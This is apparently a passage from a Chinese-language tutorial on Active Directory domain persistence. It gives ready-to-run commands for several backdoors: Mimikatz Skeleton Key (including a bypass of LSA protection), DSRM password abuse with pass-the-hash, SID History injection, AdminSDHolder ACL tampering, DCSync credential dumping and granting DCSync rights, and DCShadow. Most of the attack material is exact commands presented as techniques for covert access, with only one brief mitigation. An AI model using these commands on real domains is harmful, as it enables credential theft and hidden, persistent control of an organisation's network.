1、将Mimikatz上传到域控,执行指令如下
mimikatz.exe "privilege::debug" "misc::skeleton" exit
此操作将创建Skeleton Key域后门,执行后,将为所有的域用户设置一个相同的密码mimikatz
,从而可以登录域控制器
接下来使用RDP进行登录
而后密码输入mimikatz即可进入桌面
缓解措施
微软在 2014 年 3 月添加了LSA(Local Security Authority,本地安全机构)
保护策略,用来防止对lsass.exe
进程的内存读取和代码注入。通过执行以下命令,可以开启或关闭LSA
保护。
# 开启 LSA 保护策略
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 关闭 LSA 保护策略
reg delete "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa" /v RunAsPPL
开启LSA 保护策略并重启系统后,Mimikatz 的相关操作都会失败。此时即使已经获取了 Debug 权限也无法读取用户哈希值,更无法安装 Skeleton Key。
不过,Mimikatz 可以绕过 LSA 保护。该功能需要 Minikatz 项目中的 mimidrv.sys 驱动文件,相应的 Skeleton Key 安装命令也变为了如下:
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
创建DSRM域后门
DSRM,Directory Services Restore Mode,即目录服务还原模式,它是域控制器的安全模式启动选项,用于使服务器脱机,以进行紧急维护。
在域控制器上,DSRM账号实际上就是本地管理员用户,并且该账号的密码在创建后几乎很少使用。通过在域控上运行NTDSUtil
,可以为DSRM
账户修改密码,相关步骤如下
# 进入 ntdsutil
ntdsutil
# 进入设置 DSRM 账户密码设置模式
set dsrm password
# 在当前域控上恢复 DSRM 密码
reset password on server null
# 输入新密码 123456Lhz!
<password>
# 再次输入新密码
<password>
# 退出 DSRM 密码设置模式
q
# 退出 ntdsutil
q
我们可以通过修改DSRM的密码,来维持对域控制器的权限。该技术适用于Windows Server 2008
及之后的服务器,该方法需要具有域管理员级别的权限
。
具体利用方法如下
1、执行以下命令
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
通过Mimikatz读取域控的SAM文件,获取DSRM账号的哈希值,如下图
2、修改DSRM账号的登录模式,以允许该账号的远程登录,通过编辑注册表的DsrmAdminLogonBehavior
键值来实现,可选用的登录模式有以下3种。
0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号。
1:只有当本地 AD DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器。
2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器。
所以我们这里需要修改为模式2,具体指令如下
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
3、接下来使用DSRM账户对域控进行哈希传递攻击
python3 psexec.py WIN-ENS2VR5TR3N/[email protected] -hashes :618af274695162836fc7f3afd7a234f1
SID History的利用
首先来介绍一下SID。
在 Windows 系统中,SID(Security Identifiers)是指安全标识符,是用户、用户组或其他安全主体的唯一、不可变标识符。
Windows 根据 ACL(访问控制列表)授予或拒绝对资源的访问和特权,ACL 使用 SID 来唯一标识用户及其组成员身份。当用户登录到计算机时,会生成一个访问令牌,其中包含用户和组 SID 和用户权限级别。当用户请求访问资源时,将根据 ACL 检查访问令牌以允许或拒绝对特定对象的特定操作。
如果将用户删除,然后使用相同的名字创建另一个账户,那么新账户不会具有前一个账户的特权或访问权限,这是因为两者的SID不同。
介绍完了SID,接下来简单介绍一下SID History
。
SID History
是一个支持域迁移方案的属性,使得一个账户的访问权限可以有效地克隆到另一个账户,这在域迁移过程中非常有用。例如,当Domain A
中的用户迁移到Domain B
时,会在Domain B
中新创建一个账号。此时,将Domain A
用户的 SID 添加到Domain B
的用户账户的SID History
属性中。这就确保了Domain B
用户仍然拥有访问Domain A
中资源的权限。
在实战中,我们可以将域管理用户的SID添加到其他域用户的SID History属性中,以此建立一个隐蔽的域后门。该方法的条件是需要具有域管理员级别的权限
。
具体利用方法如下:
1、首先创建个测试用户,这里命名为test
向域控制器上传Mimikatz,而后将域管理员Administrator
的 SID 添加到域用户test
的SID History
属性中,具体指令如下
# mimikatz版本大于2.1.0
mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:test /new:Administrator" exit
# mimikatz版本小于2.1.0
mimikatz.exe "privilege::debug" "misc::addsid test ADSAdministrator" exit
2、通过Powershell
查看test
用户的属性,具体指令如下
Import-Module ActiveDirectory
Get-ADUser test -Properties SIDHistory
可以发现其SID History
属性值已经与Administrator
用户的 SID 相同,这说明test
用户将继承Administrator
用户的所有权限。
接下来登录test
账户连接到域控制器,执行whoami /priv
命令,可以看到该用户拥有域管理员的所有特权
AdminSDHolder利用
AdminSDHolder 是一个特殊的Active Directory
容器对象,位于Domain NC
的 System 容器下。
AdminSDHolder 通常作为系统中某些受保护对象的安全模板,以防止这些对象遭受恶意修改或滥用。
受保护对象通常包括系统的特权用户和重要的组,如Administrator
、Domain Admins
等。
在活动目录中,属性 adminCount 用来标记特权用户和组。对于特权用户和组来说,该属性值被设为 1。
通过 ADFind 查询 adminCount 属性设置为 1 的对象,可以找到所有受 AdminSDHolder 保护的特权用户和组。
# 枚举受保护的用户
Adfind.exe -b "dc=test,dc=lab" -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn
# 枚举受保护的组
Adfind.exe -b "dc=test,dc=lab" -f "&(objectcategory=group)(admincount=1)" -dn
在默认情况下,系统将定期(每60分钟)检查受保护对象的安全描述符,将受保护对象的 ACL 与AdminSDHolder
容器的 ACL 进行比较,如果二者不一致,系统就会将受保护对象的 ACL 强制修改为AdminSDHolder
容器的 ACL。该工作通过SDProp
进程来完成,该进程以 60 分钟为一个工作周期。
在实战中,我们可以篡改AdminSDHolder
容器的ACL配置,当系统调用SDProp
进程执行相关工作时,被篡改的ACL配置将同步到受保护对象的ACL中,以此建立一个隐蔽的域后门,该方法的条件是需要具有域管理员级别的权限
。
示例如下:
1、我们首先通过PowerView
向AdminSDHolder
容器对象中添加一个ACL,使得普通用户qwq1
拥有对AdminSDHolder
的完全控制权限
Import-Module .PowerView.ps1
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=lab" -PrincipalIdentity qwq1 -Rights All -Verbose
执行后,qwq1
用户成功拥有AdminSDHolder
容器对象的完全控制权限。等待 60 分钟后,该用户将获得对系统中的特权用户和组完全控制权限。
DCSync攻击
一个域环境可以拥有多台域控制器,每台域控制器各自存储着一份所在域的活动目录的可写副本,对目录的任何修改都可以从源域控制器同步到本域、域树或域林中的其他域控制器上。当一个域控想从另一个域控获取域数据更新时,客户端域会向服务端域控发送DSGetNCChanges
请求,该请求的响应将包含客户端域控必须应用到其活动目录副本的一组更新。通常情况下,域控制器之间每隔15分钟就有一次域数据同步。
DCSync攻击就是利用域控制器同步的原理,通过Directory Replication Serivice
(DRS)服务的IDL_DRSGetNCChanges
接口向域控发起数据同步请求。在DCSync出现前,要获得所有域用户的哈希,我们可能需要登录域控制器或通过卷影拷贝技术获取NTDS.dit
文件。利用DCSync
攻击,我们可以在域内任何一台机器上模拟一个域控制器,通过域数据同步复制的方法获取正在运行的合法域控制器上的数据。
需要注意的是,DCSync攻击不适用于只读域控制器(RODC)。
在默认情况下,只有Administrator、Domain Controllers 和Enterprise Domain Admins组内的用户和域控制器的机器账号才有执行DCSync操作的权限。
利用DCSync导出域内哈希
这个操作我们可以用Mimikatz来进行,具体指令如下
#导出域内指定用户的信息,包括哈希值
mimikatz.exe "lsadump::dcsync /domain:test.lab /user:testadministrator" exit
#导出域内所有用户的信息,包括哈希值
mimikatz.exe "lsadump::dcsync /domain:test.lab /all" exit
mimikatz.exe "lsadump::dcsync /domain:test.lab /all /csv" exit
一般来说,域管理员权限的用户以及Krbtgt用户的哈希是有价值的。通过域管理员的哈希进行哈希传递可以直接获取服务器控制器,而Krbtgt用户的哈希则用来制作黄金票据,实现票据传递攻击。
Impact
项目中的secretsdump.py
脚本支持通过DCSync
技术导出域用户哈希。该工具可以使用提供的高权限用户的登录凭据,从未加入域的系统上远程连接至域控制器,并从注册表中导出本地用户的哈希值,同时通过Dcsync
或卷影复制的方法,NTDS.dit
文件中导出所有域用户的哈希值,具体指令如下
python secretsdump.py test.lab/administrator:[email protected] -just-dc-user "testadministrator"
利用DCSync进行权限维持
在获取域管理员权限后,我们可以手动为域内标准用户赋予DCSync
操作的权限,从而实现隐蔽后门,只需为普通用户添加两条扩展权限即可。
CN displayName rightsGuid
DS-Replication-Get-Changes Replicating Directory Changes 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
DS-Replication-Get-Changes-All Replicating Directory Changes All 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
这个操作可以通过Powershell的PowerView.ps1
脚本实现,具体脚本如下
Import-Module .PowerView.ps1
#为域用户qwq1添加DCSync权限
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=lab" -PrincipalIdentity qwq1 -Rights DCSync -Verbose
添加成功后,即可通过qwq1
用户导出域内用户的哈希
python secretsdump.py test.lab/administrator:[email protected] -just-dc-user "testkrbtgt"
DCShadow
DCShadow通过创建恶意的域控制器,利用域控之间的数据同步复制,将预先设定的对象或对象属性注入正在运行的合法域控制器,以此来创建域后门获取各种类型的非法访问渠道。
具体示例如下
1、在域内任意一台主机上传Mimikatz,打开一个cmd,执行如下命令启动数据更高,这个命令行需要为SYSTEM
权限。
mimikatz.exe "lsadump::dcshadow /object:CN=qwq1,CN=users,DC=test,DC=lab /attribute:primaryGroupID /value:512" exit
2、执行后第一个命令行窗口不关闭,开启第二个具有域管理员权限的命令行窗口,在新窗口中输入如下指令强制触发域复制,将数据更改推送到合法域控制器
mimikatz.exe "lsadump::dcshadow /push" exit
此时,qwq1用户的primaryGroupID属性已成功被修改为512,且已变成域管理组的用户
DCShadow使得我们可以直接修改活动目录数据库中的对象。在域防护比较严格的情况下,可以通过DCShadow操作SID History、Krbtgt账户的密码,或将用户添加到特权组,以此进行权限维持。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论